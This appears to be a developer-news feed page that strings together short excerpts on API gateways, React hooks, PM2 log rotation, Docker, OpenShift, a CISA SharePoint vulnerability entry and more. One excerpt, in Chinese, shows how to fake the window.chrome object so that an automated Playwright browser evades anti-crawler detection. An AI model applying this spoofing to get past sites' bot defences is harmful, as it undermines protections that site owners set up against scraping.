    In today’s microservice and serverless world, the API Gateway plays a crucial role as the front door to your backend services. Whether you're building RESTful APIs, GraphQL endpoints, or integrating with third-party services, mastering API gateways is essential for scalable, secure applications. What is an API Gateway? 🧐 Popular API Gateway Tools ⚙️ 🔹AWS API Gateway 🔹Azure API Management (APIM) 🔹Kong Gateway 🔹NGINX 🔹 Ocelot 🔹Apigee (by Google Cloud) 🔹Zuul (Netflix OSS) Why Use an API Gateway? 🤔 Centralized routing Authentication & Authorization (OAuth, JWT) Rate limiting & throttling Caching & load balancing Protocol bridging (e.g., HTTP to gRPC) Monitoring, logging & analytics Security in API Gateways 🔐 API Key validation JWT validation OAuth 2.0 IP whitelisting / blacklisting Real-World Use Cases 💻 A mobile app using AWS API Gateway with Lambda functions. A .NET-based eCommerce system using Ocelot Gateway with microservices. A public API platform throttling requests to avoid abuse. i.) Backend for Frontend (BFF) ii.) Aggregator Pattern iii.) Proxy Pattern 🔚 Note: An API Gateway isn’t just a router—it's the traffic cop, security guard, and translator of your API ecosystem. As your system grows, mastering API gateways helps you scale confidently, stay secure, and serve users reliably. 💬 Share your experience in the comments! Mention the API Gateway currently in use — or suggest a follow-up post on setting up AWS API Gateway, Ocelot, Kong, or any other gateway worth exploring!  ( 4 min )
    Querying CSV/XLS and other files:SPL Lightweight Multisource Mixed Computation Practices #2
    It is convenient to access files with SPL. The language can also deal with various file formats. Computing goal Find the total amount under each type of order status in the year 2024 based on orders1.csv (with title row). SPL syntax Write the script A2: Perform filtering on data of the year 2024. A3: Perform grouping & aggregation by order status. Some csv files do not have the title row. How should we handle them? For example, to achieve the preceding computing goal based on the title row-absent orders2.csv, the SPL script is as follows: A2: Perform filtering on data of the year 2024 by column _3 (the 3rd column). The subsequent code is similar. SPL also supports using a column number for retrieving data from this column: SQL syntax The preceding computing goal, for example, can be ach…  ( 4 min )
    🧠 Productivity Tips for Self-Taught Developers: Build Faster, Smarter, Stronger
    Whether you’re transitioning careers, building passion projects, or just learning to code for the thrill of it, being a self-taught developer is both empowering and overwhelming. Without the structure of formal education or the pressure of deadlines, productivity can swing wildly. The freedom is a gift—but it needs direction. Here’s a breakdown of practical productivity tips to help you stay on track, avoid burnout, and accelerate your growth as a self-taught developer. Treat It Like a Job Just because you don’t have a boss or syllabus doesn’t mean you shouldn’t have structure. Set a fixed learning/work schedule. Use time blocking to assign periods for tutorials, coding, debugging, or reading. Work in Pomodoros (25 min focus / 5 min break) to maintain deep concentration. 💡 Pro Tip: Cloc…  ( 5 min )
    Unpacking the EVM: Opcodes – The DNA of Ethereum Smart Contracts 🧬
    The Ethereum blockchain, often described as a "world computer," is powered by the Ethereum Virtual Machine (EVM). If you've ever written a smart contract in Solidity, you've interacted with the EVM, even if you didn't realize it. But what exactly makes the EVM tick? The answer lies in its fundamental building blocks: opcodes. This article will pull back the curtain on EVM opcodes, explaining what they are, how they work, and why understanding them is invaluable for every Ethereum developer, whether you're just starting your journey or already navigating complex DeFi protocols. Imagine your computer's Central Processing Unit (CPU). It doesn't understand human languages or even high-level programming languages like Python or JavaScript directly. Instead, it processes machine code – a series …  ( 10 min )
    Auto Rotation of PM2 log
    PM2 by default stdout to log directory, default ($HOME/.pm2/logs). Over time this can be huge unless rotated. Below process uses npm module to handle the rotation. Install the pm2-logrotate module $ pm2 install pm2-logrotate [PM2][Module] Installing NPM pm2-logrotate module [PM2][Module] Calling [NPM] to install pm2-logrotate … [PM2][Module] Module downloaded [PM2][WARN] Applications pm2-logrotate not running, starting… [PM2] App [pm2-logrotate] launched (1 instances) Set max size of the log $ pm2 set pm2-logrotate:max_size 50M [PM2] Module pm2-logrotate restarted [PM2] Setting changed Module: pm2-logrotate $ pm2 set pm2-logrotate:max_size 50M $ pm2 set pm2-logrotate:retain 20 $ pm2 set pm2-logrotate:compress true $ pm2 set pm2-logrotate:dateFormat YYYY-MM-DD_HH-mm-ss $ pm2 set pm2-logrotate:workerInterval 30 $ pm2 set pm2-logrotate:rotateInterval 0 0 * * * $ pm2 set pm2-logrotate:rotateModule true set log rotation interval in cron format. $ pm2 set pm2-logrotate:rotateInterval '0 0 * * *' [PM2] Module pm2-logrotate restarted [PM2] Setting changed Module: pm2-logrotate $ pm2 set pm2-logrotate:max_size 50M $ pm2 set pm2-logrotate:retain 20 $ pm2 set pm2-logrotate:compress true $ pm2 set pm2-logrotate:dateFormat YYYY-MM-DD_HH-mm-ss $ pm2 set pm2-logrotate:workerInterval 30 $ pm2 set pm2-logrotate:rotateInterval 0 0 * * * $ pm2 set pm2-logrotate:rotateModule true change the retention time $ pm2 set pm2-logrotate:retain 10 [PM2] Module pm2-logrotate restarted [PM2] Setting changed Module: pm2-logrotate $ pm2 set pm2-logrotate:max_size 50M $ pm2 set pm2-logrotate:retain 10 $ pm2 set pm2-logrotate:compress true $ pm2 set pm2-logrotate:dateFormat YYYY-MM-DD_HH-mm-ss $ pm2 set pm2-logrotate:workerInterval 30 $ pm2 set pm2-logrotate:rotateInterval 0 0 * * * $ pm2 set pm2-logrotate:rotateModule true Note: Originally published on Medium  ( 3 min )
    Why use useEffect in React? ⚛️
    In React, useEffect is a hook that runs side effects in your components — like API calls, DOM updates, timers, etc. useEffect(() => { Runs only once on mount if the dependency array is empty. It's like combining componentDidMount, componentDidUpdate, and componentWillUnmount in one place for functional components. Always remember to cleanup timers or listeners: useEffect(() => { React smartly manages your logic with useEffect, keeping your UI reactive and clean. 💡  ( 3 min )
    How Dapr Binding works ?
    🔗 Dapr Bindings Overview Summary Bindings in Dapr provide a way for applications to interact with external systems—both to ingest events (input bindings) and to invoke external systems (output bindings)—using a simple, consistent API. Types of Bindings Input Bindings Trigger the application by receiving events from external systems (e.g., message queues, databases, cloud services). Dapr invokes a specified endpoint in the app when a new event arrives. Output Bindings Allow the app to send data to external systems. Can be invoked using Dapr SDKs or HTTP/gRPC APIs. How Bindings Work Input: External system → Dapr → App Output: App → Dapr → External system Bindings are configured via a component YAML file defining the type (e.g., Kafka, HTTP, Cron) and metadata. Use Cases Trigger functions on a schedule (e.g., cron) Send messages to systems like Kafka, MQTT Respond to cloud events from AWS, Azure, GCP Connect with databases, queues, or custom services Benefits Abstracts complex integrations Uniform API across different services Event-driven programming with minimal boilerplate  ( 3 min )
    Ace Your Next Tech Interview: Front-End Developer Q&A You Must Know
    The world of front-end development is evolving rapidly — and with it, the expectations of hiring managers. Whether you're a fresher or an experienced developer, preparing for an interview can be nerve-wracking. What do they really ask? What should you focus on? Don’t worry — we’ve got you covered. In this blog, we’ll walk through Front-end Developer Interview Questions and Answers that are not only commonly asked but also test your practical skills and knowledge depth. Let’s help you feel confident walking into your next technical interview. Before diving into the Q&A, let’s briefly understand the role. A front-end developer is responsible for creating the visual and interactive parts of a website or application using technologies like HTML, CSS, JavaScript, and modern frameworks like Reac…  ( 5 min )
    14 Essential React Concepts Every Developer Must Know
    React is one of the most popular JavaScript libraries for building user interfaces. To help you master React efficiently, this guide covers essential React concepts you need to understand, from core ideas like JSX and state management to advanced hooks and performance optimization. Before we get started, don’t forget to subscribe to my newsletter! Subscribe here! Now, let’s jump right into it! Understanding these React concepts will help you build scalable, maintainable, and efficient React applications. Whether you’re a beginner or looking to strengthen your React skills, these topics form the foundation for any React developer. Each concept below links to a detailed blog post, click any title to learn more with examples and explanations. What is JSX in React? Understanding React’s Syntax State and Props in React: The Core Building Blocks Explained Event Handling in React: A Beginner’s Guide Conditional Rendering in React: The Ultimate Guide React Context API: The Best Way to Manage Global State? How to Use useState in React: The Right Way to Manage State Mastering useEffect: Handling Side Effects in React Avoiding Prop Drilling in React with useContext How to Use useRef in React: DOM Manipulation & More React useReducer Hook Explained: When to Use It Over useState useMemo in React: Optimizing Performance by Memoizing Values useCallback in React: Memoizing Functions to Prevent Re-Creation Creating Custom Hooks in React Most Commonly Used React Hooks Comparison: When to Use Which Hook? Each concept is explained with beginner-friendly examples to help you apply it in real projects. That’s all for today! For paid collaboration connect with me at : connect@shefali.dev I hope this guide helps you on your React journey! Found this helpful? Here’s how you can support me: Buy me a coffee – Every little contribution keeps me motivated! Subscribe to my newsletter – Get the latest tech tips, tools & resources. Follow me on X (Twitter) – I share daily web development tips & insights. Keep coding & happy learning!  ( 4 min )
    Run Code in Your Power Automate Flow
    One of the cool things that Logic Apps has over Power Automate Flows is inline scripts, although expressions cover most use cases they don't cover all. And having that ability to run JavaScript for those edge cases is super useful. Luckily there is a workaround in Power Automate, although it's not as easy to implement, luckily vibe coding is now present with the latest AI tools, making it a lot more accessible. Big caveat with this solution, it could create vulnerability in your DLP process, so make sure all code is reviewed and segregation of duty is e forced. The work around is to unload our script to another service and call it through an API. Cloudflare is what I recommend, the free tier is amazing (100k daily calls), its easy to use, well documented, and has loads of additional featu…  ( 7 min )
    🌐 Manage a Multicluster Kubernetes Architecture with OpenShift Platform Plus
    As enterprises continue to scale cloud-native applications, managing multiple Kubernetes clusters across hybrid or multi-cloud environments becomes a real challenge. Security, consistency, visibility, and lifecycle management all start getting complex — fast. That’s where Red Hat OpenShift Platform Plus steps in to simplify and secure multicluster Kubernetes operations at scale. 🚀 What is a Multicluster Kubernetes Architecture? Distributed across multiple data centers, regions, or cloud providers Owned by different teams or business units Designed for specific workloads, compliance, or performance requirements While this setup provides flexibility and isolation, it also introduces a range of management challenges. 🧩 The Key Challenges in Multicluster Management 🔐 Inconsistent security policies 🔍 Limited visibility and observability 🔄 Manual, error-prone updates and configurations 📦 Fragmented application lifecycle management 🛡️ Difficulty maintaining compliance across clusters Managing these clusters manually becomes unsustainable. 🛠️ Enter Red Hat OpenShift Platform Plus ✅ Red Hat Advanced Cluster Management (RHACM) ✅ Red Hat Advanced Cluster Security (ACS) ✅ Red Hat Quay 🌍 Real-World Use Case In AWS for web apps On-prem for secure workloads In Azure for data analytics With OpenShift Platform Plus, they can: Monitor all clusters from one place Apply consistent security policies via ACS Automate app deployments using GitOps principles Audit compliance for regulations like PCI-DSS This setup ensures high availability, flexibility, and compliance — without the overhead. 🧭 Final Thoughts Whether you're just starting with Kubernetes or looking to level up your operations, it's time to rethink how you manage your clusters. 🔗 Start exploring OpenShift Platform Plus today and simplify your multicluster strategy. For more info, Kindly follow: Hawkstack Technologies  ( 4 min )
    What is the Difference Between JDK, JRE, and JVM in Java?
    JDK (Java Development Kit), JRE (Java Runtime Environment), and JVM (Java Virtual Machine) are core components of Java. JDK is a complete software development kit that includes tools like the compiler, debugger, and JRE for developing Java applications. JRE provides the libraries and environment needed to run Java programs but doesn't include development tools. JVM is the engine that runs Java bytecode, ensuring platform independence by translating bytecode into machine code. While JVM executes the program, JRE supports it, and JDK helps build it. If you want to gain hands-on knowledge, explore a Java certification course.  ( 3 min )
    Day 8: How to Add Custom Shadows and Depth in Tailwind CSS
    Welcome Back to 15 Days of Tailwind Tips We're now more than halfway through this Tailwind CSS series, and today we're covering a small but powerful detail that can take your design from flat to polished — box shadows and depth styling in Tailwind. Well-placed shadows not only improve visual hierarchy but also help users distinguish interactive elements like buttons, cards, and modals. Let’s break down Tailwind’s shadow utilities and how to use them for subtle or strong depth effects — using only utility classes. Tailwind gives you a straightforward set of utility classes to control shadows. Small shadow Default shadow Medium shadow Large shadow Extra la…  ( 6 min )
    Reading and Writing RFID Cards with Raspberry Pi
    The Raspberry Pi is a single board computer with an impressive array of supported connections: A 3.3V compatible 40 pin header, integrated camera module and SPDIF sound, Wi-Fi and Bluetooth, ethernet, USB and HDMI. In addition to these hardware features, it also support a variety of operating systems specialized for certain domains, and several programming language for projects, including C and Python. This makes the Raspberry Pi a great platform for many IOT projects. So far, I have used the Raspberry Pi mainly as a headless computer running docker container and as a controller for robotic projects. But with my recent interest into long-range communication and wireless technologies like RFID, NFC, and radio frequencies, as well as the fact that the Raspberry Pi 5 is shortly coming to stor…  ( 7 min )
    How I Built an AI-Powered Face Recognition App from Scratch
    🚀 Introduction: Inspired by how streaming platforms measure actor screen time, I built a face recognition system from scratch. This project detects faces in a movie, groups them into characters, and calculates how long each face appears on screen. Python (OpenCV, Matplotlib) RetinaFace for face detection FaceNet for face recognition DBSCAN for clustering Jupyter Notebook for development Read video frame-by-frame using OpenCV Detect faces using RetinaFace Generate embeddings using FaceNet Cluster similar faces Ask user to label clusters manually Compute screen time per face Practical pipeline development in computer vision Face detection vs. recognition trade-offs Using unsupervised learning to cluster images Final output shows face clusters and their screen time in visual plots. Face images saved and labeled. Project ready for real-world analysis use cases. 🔗 Check it out: GitHub Repo  ( 3 min )
    The Hacker Had a Playbook - So I Built My Own
    When I first started in cybersecurity, I thought mastering tools would be enough. Learn the commands, configure the firewalls, scan for vulnerabilities, patch, repeat. 🎯 Why Hackers Win: It's Not Just Tools, It's Timing 🔍 My Playbook Was Born in the Field - Not in a Lab ⚔️ A Few Hard Lessons You Won't Learn in Most Cyber Books: 👣 If You're Building a Career in Cybersecurity… https://a.co/d/cPTIJJK https://a.co/d/6ArBUij If this article resonated, follow for more raw lessons from the cyber trenches. And if you've ever had a "wake-up call" moment in your cybersecurity journey - drop it in the comments. 👇 CyberSecurity #HackerMindset #ThreatIntel #SOC #RedTeam #BlueTeam #OSINT #CTI #DFIR #InfoSec #DigitalDefense #AhmedAwad #Nullc0d3  ( 4 min )
    How to Demotivate Your Development Team And Make Them Leave (Guaranteed Results)
    I originally posted this post on my blog a long time ago in a galaxy far, far away. Want to demotivate your dev team? Guaranteed results in 10 simple steps: #1. Ignore ideas and suggestions. If anyone comes with an idea or suggestion, ignore it. And if anyone raises a concern, say "it's fine and it used to be worse." #2. Take credit for someone else's idea. If anyone comes with an idea and you don't want to ignore it, say "oh, that was what I told you we should do." #3. Don't share any vision or project goals. Just keep your team closing JIRA tickets. Tickets and more tickets. #4. When someone asks for a salary review, say "come back in a few months." And then, tell them to come back again. And on and on. #5. Once a task or project is finished, publicly praise someone else's work. #6. Give your team boring and repetitive work. The more boring and repetitive, the better. Make them dig holes. Then make them fill those holes. #7. Make them work on projects no one will use. Did your team work on a project for six months? Archive it, deprioritize it, or make sure nobody uses it. #8. Your team worked hard, but why share what the users think? That's not their business, right? Don't share any user feedback or testimonials. Just keep them finishing tickets. See #3. #9. Use the word "resource" to refer to them and treat them accordingly. Your team members are machines you can replace anytime. #10. Lay off people and tell the ones who stay "nothing is happening." And if they ask about it, tell them they should be grateful for still having a job. Follow these steps and you'll have team members who will leave you at their first chance. Join my email list and get a short, 2-minute email with 4 curated links about programming and software engineering delivered to your inbox every Friday.  ( 4 min )
    FACEIO: Facial Login & Attendance for Modern Web Apps
    Hello Devs👋 In today’s digital workspace, passwordless login and biometric authentication are must-haves for agility, security, and trust. FACEIO delivers a seamless facial login system, empowering organizations to verify, onboard, and track employees or members in real time with nothing but a webcam and a few lines of JavaScript. In this article, you'll learn how to integrate FACEIO into your website or web app for use cases like employee/student attendance tracking, facial login systems, and biometric authentication. Lets get started🚀 Before that let's first understand: FACEIO & How Does It Work? FACEIO is a modern, production-grade facial recognition JavaScript SDK enabling instant, secure, privacy-centric authentication for web platforms. Instead of passwords, users simply look in…  ( 6 min )
    💡 Stand Out: Creative Portfolio Concepts for Developers 🎨
    Hi everyone, 👋 I’ve been brainstorming some fun and meaningful ways to design a portfolio that really feels like you. If you want something more personal, visual, and story-driven than a standard template, this post is for you. About the Cover Image: Take a look at these portfolio ideas I love, complete with color suggestions, layout tips, and online tools to help you bring them to life. Theme Description 🌤️ Seasons Dynamic Portfolio theme changes with the seasons 🏠 House Layout Each room = a portfolio section 🗺️ Roadmap Your learning journey in map style 🎬 Story Format A cinematic storytelling experience 🔣 Icon-Based Minimalist and icon-focused 🛒 Smart Mart Store-themed skill showcase 📊 Wordcloud Skills Wordcloud with skill percentage 🤖 Chatbot Portfolio Chat…  ( 6 min )
    แนะนำ Bash Command สำหรับ Developer มือใหม่
    Originally published at https://somprasongd.work/blog/server/baisc-bash แม้ว่า GUI จะช่วยให้การเขียนโค้ดง่ายขึ้น แต่เมื่อคุณเริ่มทำงานจริงโดยเฉพาะกับระบบ backend, deployment, หรือ CI/CD — การใช้ Terminal และ Bash Command กลายเป็นทักษะที่ขาดไม่ได้ บทความนี้ออกแบบมาสำหรับ developer มือใหม่ ที่ไม่คุ้นกับการใช้ command line โดยใช้โปรเจกต์ Go สมมติชื่อ myapp เป็นตัวอย่าง pwd, ls, cd, touch, mkdir, rm, cat, less, head, tail, echo ค้นหาและแก้ไข grep, find, nano, vim รันโปรเจกต์ / ดู process go run, go build, ps, top, kill จัดการ Git git clone, git status, git log ประมวลผลข้อความ awk, sed, jq การเรียก API และ Network เบื้องต้น curl, ping, wget, netstat, lsof จัดการ Environment Variable export, .env, sou…  ( 9 min )
    Run Multi-Agent AI in the Cloud Without a Local GPU Using Docker Offload and Compose
    With the release of Docker Desktop 4.43 (July 3, 2025), you can now declare AI models, agents, and MCP tools in a single compose.yaml file and launch them all with a single docker compose up. On top of that, the beta release of Docker Offload allows you to run Compose projects directly in the cloud with NVIDIA L4 GPUs. This opens the door to running large-scale models from even a modest laptop. In this post, I’ll walk through how to use docker/compose-for-agents' official A2A Multi‑Agent Fact Checker sample entirely with Compose. I'll also demonstrate how to offload the workload to the cloud using Docker Offload. Some images in this post are sourced from the official Docker Offload Content Kit provided to Docker Captains. The A2A Multi‑Agent Fact Checker is a multi-agent system built with …  ( 6 min )
    chrome特征检测(window.chrome)
    window.chrome = { runtime: {}, loadTimes: function() {}, csi: function() {}, app: {} }; window.chrome 对象概述 在真实的 Chrome 浏览器中,window.chrome 是一个全局对象,包含了 Chrome 浏览器特有的 API 和功能。自动化工具(如 Playwright)启动的浏览器可能缺少这个对象,这会被反爬虫系统识别。 runtime: {} runtime: {} 真实作用: 在真实 Chrome 中,chrome.runtime 提供扩展程序运行时的 API 包含消息传递、存储管理、生命周期管理等功能 真实示例: // 真实 Chrome 中的 runtime 对象包含: chrome.runtime = { onMessage: {...}, sendMessage: function() {...}, getManifest: function() {...}, getURL: function() {...}, id: "extension-id" } 这里为什么是空对象: 简单伪装,让检测代码认为存在 chrome.runtime 避免实现复杂的 API,因为大多数检测只是检查对象是否存在 loadTimes: function() {} loadTimes: function() {} 真实作用: chrome.loadTimes() 是 Chrome 的性能监控 API 返回页面加载的详细时间信息 真实返回数据: chrome.loadTimes() // 真实返回: { requestTime: 1642680000.123, …  ( 4 min )
    Stop Rewriting the Same Emails. Use Dynamic Templates in Slashit.
    If you're running a business or working with clients, follow-ups are part of your day. But do you really need to type the same structure every time? Slashit App makes this faster. With Dynamic Templates, you create reusable message structures that can be triggered by a shortcut (like /followup). The message loads instantly — and it’s smart enough to include your client's name, project name, status update, or any other variable. Perfect for: Sending client updates Following up after meetings Chasing leads Answering repeat questions It’s not just a canned reply it’s a shortcut to polished, contextual emails you control. Slashit App helps you write less, reply faster, and stay consistent.  ( 3 min )
    Innovation at the Edge: Scaling SaaS Platforms for First Responders and Public Schools
    Mission-critical uptime and zero-tolerance failure aren’t just features — they’re business imperatives. Medium Scaling SaaS is one thing. Scaling emergency-response SaaS with school safety and first responder reliability? That’s another league. In enterprise SaaS, downtime hurts the bottom line. In public safety, downtime can cost lives. This article explores the practical and strategic demands of scaling real-time systems like Hērōs™ — from infrastructure reliability and financial sustainability to partnership strategies and operational readiness — without ever compromising uptime or mission integrity. Most SaaS platforms rely on cloud redundancy. Public safety platforms require edge redundancy — local data storage and processing for split-second response when connectivity fails. For Hērō…  ( 5 min )
    Symbolic faultlines - Beyond Ai Design (ChatGPT)
    A Personal in Case Study in Algorithmic Projection and Emergent Psychological Distortion (chatGPT) [https://symbolic-faultlines-beyond-ai-design.hashnode.dev/a-personal-case-study-in-algorithmic-projection-and-emergent-psychological-distortion-chatgpt]  ( 3 min )
    Stay ahead in web development: latest news, tools, and insights #94
    Signup here for the newsletter to get the weekly digest right into your inbox. weeklyfoo #94 is here: your weekly digest of all webdev news you need to know! This time you'll find 35 valuable links in 7 categories! Enjoy! The Pragmatic Engineer 2025 Survey: What’s in your tech stack?: Which tools do software engineers use for backend development, frontend, infrastructure, AI tooling, and more, today? Reader survey, with feedback and analysis, based on 3,000+ responses by Gergely Orosz, Elin Nilsson / survey, engineering / 28 min read 📰 Good to know Switching to Claude Code + VSCode inside Docker: Last night I finished a transition from my old AI coding setup I've been using for a while to running Claude Code in Docker using VSCode's "Dev Container" feature. In this post …  ( 6 min )
    Amazon S3 Vectors: Insert & Query Embeddings with Indian Snacks (Titan + Bedrock Demo)
    Welcome back, doston! 👋 In Part 1 and Part 2, We created our Vector Bucket and Vector Index using the AWS Console. Now in Part 3, it's time to make the vector index actually useful — by inserting embeddings into it and then querying it to find the most relevant matches! And what better way to explain this than using your favorite Indian snacks: Samosa, Vada Pav, and Masala Dosa? 🥔🌶️🥪 We’ll: Generate embeddings for snack descriptions using Amazon Bedrock (Titan Model). Insert those embeddings into our S3 Vector Index. Attach metadata (like the region or original text) for smarter querying later. Query the index with new text inputs and retrieve the most similar snacks based on vector similarity. ⚠️ Important Note Before You Begin Currently, AWS Lambda does not support the required vers…  ( 6 min )
    How we Created a Simpsonize Yourself Service in 1 Week
    The rise of AI-powered image transformation tools has created fascinating technical challenges that push the boundaries of web development, API orchestration, and user experience design. While working on various AI projects and studying successful implementations like SimpsonizeMe, I've discovered some intriguing patterns and solutions that every developer should know about. When users upload a photo and expect cartoon-style results in minutes, not hours, you're immediately faced with complex architectural decisions. The naive approach—synchronous API calls—falls apart quickly when dealing with AI models that can take 30 seconds to 5 minutes per generation. One of the most interesting patterns I've observed is the use of multiple AI models simultaneously. Instead of relying on a single API…  ( 7 min )
    🚀 Build AI Agents from a Prompt — Meet Nexent, the Open-Source Agent Platform
    Hi Devs! We’re a small group of open-source AI enthusiasts working within a big company, trying to build something meaningful. Today, we’re super excited to share Nexent with you — a project that makes it incredibly easy to go from a natural language prompt to a working AI agent. No drag-and-drop. No scripts. No code. Just a prompt → plan → execute. Nexent is a zero-code, open-source platform that automatically generates intelligent agents from natural language. These agents aren’t just fancy chatbots — they can: Understand your goals Plan multi-step tasks Use external tools and APIs Manage memory and context Return results in structured formats Nexent agents combine models, tools, and data into fully functional intelligent workflows — all triggered by a simple prompt. Yes, it’s that simp…  ( 4 min )
    The Most Underrated Way AI Helps Developers (That Almost Nobody's Talking About)
    When people talk about AI in software development, the spotlight usually falls on features like code autocompletion or automatic bug detection. Those are great, but there’s an even more powerful — and far less hyped — use case quietly reshaping how developers work: continuous, context-aware AI-powered code reviews. This is where AI doesn’t just speed up typing; it actually improves your code quality by reviewing each change in real time, with deep awareness of your project’s specific goals, tickets, and documentation. In other words, AI doesn’t just see your code — it understands your context. Traditional code review can be slow and inconsistent. Human reviewers get overloaded, miss subtle risks, or delay feedback — leading to bottlenecks and technical debt. In contrast, continuous AI revi…  ( 4 min )
    CVE-2025-53770: Microsoft SharePoint Deserialization of Untrusted Data Vulnerability
    CVE ID CVE-2025-53770 Microsoft SharePoint Deserialization of Untrusted Data Vulnerability Project: Microsoft Product: SharePoint Date Date Added: 2025-07-20 Due Date: 2025-07-21 Microsoft SharePoint Server on-premises contains a deserialization of untrusted data vulnerability that could allow an unauthorized attacker to execute code over a network. Unknown CISA recommends configuring AMSI integration in SharePoint and deploying Defender AV on all SharePoint servers. If AMSI cannot be enabled, CISA recommends disconnecting affected products that are public-facing on the internet from service until official mitigations are available. Once mitigations are provided, apply them according to CISA and vendor instructions. Follow the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. CISA Mitigation Instructions: https://www.cisa.gov/news-events/alerts/2025/07/20/microsoft-releases-guidance-exploitation-sharepoint-vulnerability-cve-2025-53770 ; https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/ ; https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770 ; https://nvd.nist.gov/vuln/detail/CVE-2025-53770 Common Vulnerabilities & Exposures (CVE) List  ( 3 min )
    Agent vs Workflow: What Do Customers Actually Pay For?
    The debate between Agents and Workflows is getting louder. Some say Agents are just hype — less efficient and less reliable than traditional workflows. Others believe Agents are what AI products were always meant to be. But the real question isn’t about technology. It’s about something more basic: Who’s paying, and why? Most workflow tools today — like n8n or Make — already integrate LLM nodes. They can reason, remember, and call tools. Add an LLM to a workflow, and what you get is essentially an Agent with structural constraints. Workflows are rule-based and predictable. Great for stable, controllable tasks. Agents are looser, adaptive. They’re better for open-ended or messy tasks. From a technical standpoint, the line between the two is getting blurry. When someone pays for a product, t…  ( 4 min )
    Crashes in Rive
    The summary sums up my week pretty well. I've been experimenting with the Feathering feature in Rive to apply inner shadows to all of my components, but now my Rive project crashes every time I switch to a different artboard. I don't know if the crashes are related, but it is the most recent activity I've had, and it wasn't crashing last week, so I suspect it's related to this. I haven't had as much time to work on my project this week, due to Tennocon-related activities, but I did manage to get some extra features working, like opening a menu from the option button, which will toggle between Automatic modes and Manual. That's it for this week, and hopefully next week I get these bugs fixed and I can show what the next visual pass looks like. Until next time! Cheers, Dan  ( 3 min )
    built TailorMyResume.online Magic with Bolt.new
    🧠 Project Overview Our team built TailorMyResume.online, a web tool that helps job seekers improve their chances by tailoring their existing resume to specific job descriptions. Users simply paste their current resume and the job requirements, and the tool automatically reformats and highlights the most relevant experiences and skills, making their application more compelling. 🧩 Technical Challenges & Breakthroughs 🔧 Sponsor Tech Integration – Building with Bolt ❤️ Favorite Bolt Features 💻 Sample Prompt Snippet const prompt = ` Job Description: Output: A revised resume emphasizing relevant skills, responsibilities, and achievements. Use bullet points and include at most one achievement per bullet. Make it ATS compliant. 🎓 Teammates • @guminyu88  ( 4 min )
    Common Accessibility Pitfalls and How to Fix Them Before Release
    In an increasingly digital world, accessibility is no longer a nice-to-have; it's a must. As more services, content, and experiences shift online, ensuring that everyone, including people with disabilities, can interact with your digital products is critical. Despite the clear need, accessibility is often treated as an afterthought, leading to frustrating user experiences, potential legal risks, and missed opportunities. Accessibility issues frequently slip into production, especially when teams focus solely on design aesthetics or feature delivery timelines. However, by identifying common pitfalls and addressing them proactively through accessibility testing and digital experience monitoring, organizations can ensure that their products are inclusive from the outset. Accessibility is fund…  ( 6 min )
    Next.js Self-Hosting VPS Basic Setup
    Prerequisites VPS server (Ubuntu/Debian) (Preferred 6gb memory) Domain name (optional) GitHub repository with Next.js project Basic terminal knowledge Goals Auto deployment with Github Actions (single build) Custom domain with SSL/HTTPS encryption Steps ssh root@ ssh-keygen -t rsa -b 4096 -f ~/.ssh/github_actions -N "" cat ~/.ssh/github_actions.pub >> ~/.ssh/authorized_keys # you need to copy the content of this file for next step cat ~/.ssh/github_actions apt update && apt upgrade -y apt install -y curl wget git ufw curl -fsSL https://get.docker.com | sh systemctl enable docker systemctl start docker curl -L "https://github.com/docker/compose/releases/download/v2.24.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose chmod +x /usr/local/bi…  ( 7 min )
    No more ALTER USER RENAME under Oracle 19c
    Up until Oracle version 11.2.0.2, there was still a limitation on renaming users. However, starting from that version, a hidden parameter called _enable_rename_user was introduced, which made it possible to rename users using a single command (although only in restricted session mode). In the example below, the user named usef will be renamed to ali: SQL> alter session set “_enable_rename_user”=true; Session altered. SQL> alter system enable restricted session; System altered. SQL> alter user usef rename to ali identified by a; User altered. SQL> alter system disable restricted session; System altered. Part of the trace file output related to the ALTER USER RENAME command: delete from user$ where user#=:1 insert into user$(user#,name,password,ctime,ptime,datats#,tempts#,type#,defr…  ( 3 min )
    Orchestrating 6 Subagents to Build a Collaborative API Playground for Kids
    I built Postman meets Google Docs for 10-year-olds. Cue record scratch. Cue freeze frame. Cue movie cliché. You're probably wondering how I got here. Before I explain, it’s better if I just show you. 👉Try it yourself: https://api-playground-production.up.railway.app/ It’s a collaborative API testing playground where kids can run sample requests, get playful error messages, and see live responses in real time. Everyone in the session sees the API response together, turning the experience of solo debugging into multiplayer coding. And it looks like a literal playground. I was inspired to build this after attending our company’s Bring Your Kids to Work Day. I didn’t bring my kid because she’s still an infant, but I attended to support my teammate Adewale Abati, who led a virtual session i…  ( 7 min )
    How to Distribute a Statically Linked Crystal Binary on macOS with GitHub Actions
    Homebrew often provides static libraries in addition to shared ones. Therefore, you can use Homebrew to obtain static libraries and link them manually. To do this, you should first create symbolic links or copy the static libraries to a separate directory, and then refer to them using --link-flags. This is necessary because if both static and shared libraries exist in the same directory, the linker will prioritize the shared libraries. Moving the static libraries to a different location is currently the only reliable workaround. If there is a better solution, I’d be happy to hear it. - name: Build executable (macOS) if: matrix.os == 'macos' run: | brew update brew install libgc pcre2 ln -s $(brew ls libgc | grep libgc.a) . ln -s $(brew ls pcre2 | grep libpcre2-8.a) . shards build --link-flags="-L $(pwd) $(pwd)/libgc.a $(pwd)/libpcre2-8.a" --release otool -L bin/lolcat Note: The binary produced using this method will be specific to Apple Silicon (Arm) Macs when using latest-macos runners. Creating a universal binary that supports both Intel and Arm architectures is significantly more complex. Given that it has been five years since the last Intel Mac was sold, it is probably acceptable to distribute Arm-only binaries for now. Even if you provide a pre-built binary as described above, users on macOS may need to manually allow its execution via the System Settings > Privacy & Security menu, which can be a bit of a hassle. A more convenient and recommended approach is to use a Homebrew tap. This method allows users to compile the source code themselves using Crystal, automatically installed via Homebrew. Since Homebrew also installs shared libraries, this method ensures that dependencies are resolved smoothly. Nevertheless, distributing a statically linked binary—as is common in Rust projects—has a certain elegance. The method shown above demonstrates that it's not impossible to achieve this with Crystal as well.  ( 4 min )
    The Future of Brand Design: Merging Creativity with AI Tools
